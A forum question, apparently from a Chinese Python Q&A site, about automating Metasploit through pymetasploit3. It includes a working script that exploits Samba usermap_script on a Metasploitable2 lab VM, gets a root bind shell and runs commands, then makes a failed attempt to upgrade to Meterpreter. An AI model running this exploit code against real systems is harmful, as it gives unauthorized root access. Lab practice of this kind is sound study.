使用pymetasploitable3和metasploit(msf)控制台从shell升级到MeterMeter linux metasploitable2自动化

2024-05-23 18:08:10 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图通过在我的Kali虚拟机上运行python脚本,在metasploitable2虚拟机上打开MeterMeter外壳。所有设备都连接到同一个内部nat网络

我的道德黑客攻击目标是尝试并执行利用和后利用的自动化(pymetasploit3)

到目前为止,我能够使用我的python3脚本,它导入库pymetasploit3.msfrpc,并额外使用msfconsole打开会话并发出普通的Linux终端命令

我的攻击代码:(test2.py)

import time 
from pymetasploit3.msfrpc import MsfRpcClient 
client = MsfRpcClient('mypassword', port=55552)
exploit = client.modules.use('exploit', 'multi/samba/usermap_script') #defining exploit to use
exploit['RHOSTS'] = "10.0.2.4" #metasploitable VM
exploit['RPORT'] = "139" #samba port
exploit.target = 0
payload = client.modules.use('payload', 'cmd/unix/bind_perl') #defining exploit's payload to use
payload['LPORT'] = 4444
time.sleep(10) #allow time for msfconsole to open command session
exploit.execute(payload=payload)
shell = client.sessions.session(list(client.sessions.list.keys())[0])
shell.write('whoami') #issuing commands to now opened shell
print(shell.read()) #result = root
shell.write('hostname') 
print(shell.read()) #result = metasploitable

我一直在遵循这个指南meterpreter escalation

我的爆炸后代码(从test2.py中的前一个代码继续):

payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter') #same explotation but different payload
payload1['LPORT'] = 8080
payload1['SESSION'] = 1
exploit.execute(payload=payload1)
shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())
shell.write('hostname')
print(shell.read())

msfconsole的结果(包括初始设置和结果):

msfconsole #loads...
load msgrpc Pass=mypassword
#MSGRPC success messages
#loaded plugin: msgrpc
Command shell session 1 opened (0.0.0.0:0 -> 10.0.2.4:4444) at... #normal shell session active

运行实际的python代码(test2.py): code output 第197行是指:

payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter')

我想知道什么是正确的方法来正确地完成这个后开发自动化,以及为什么第二个负载不工作

此外,如果有一种更简单的方法可以使用类似的自动化方法打开计量表,欢迎提出建议。谢谢


Tags: to代码clientmodulesreadusesessionshell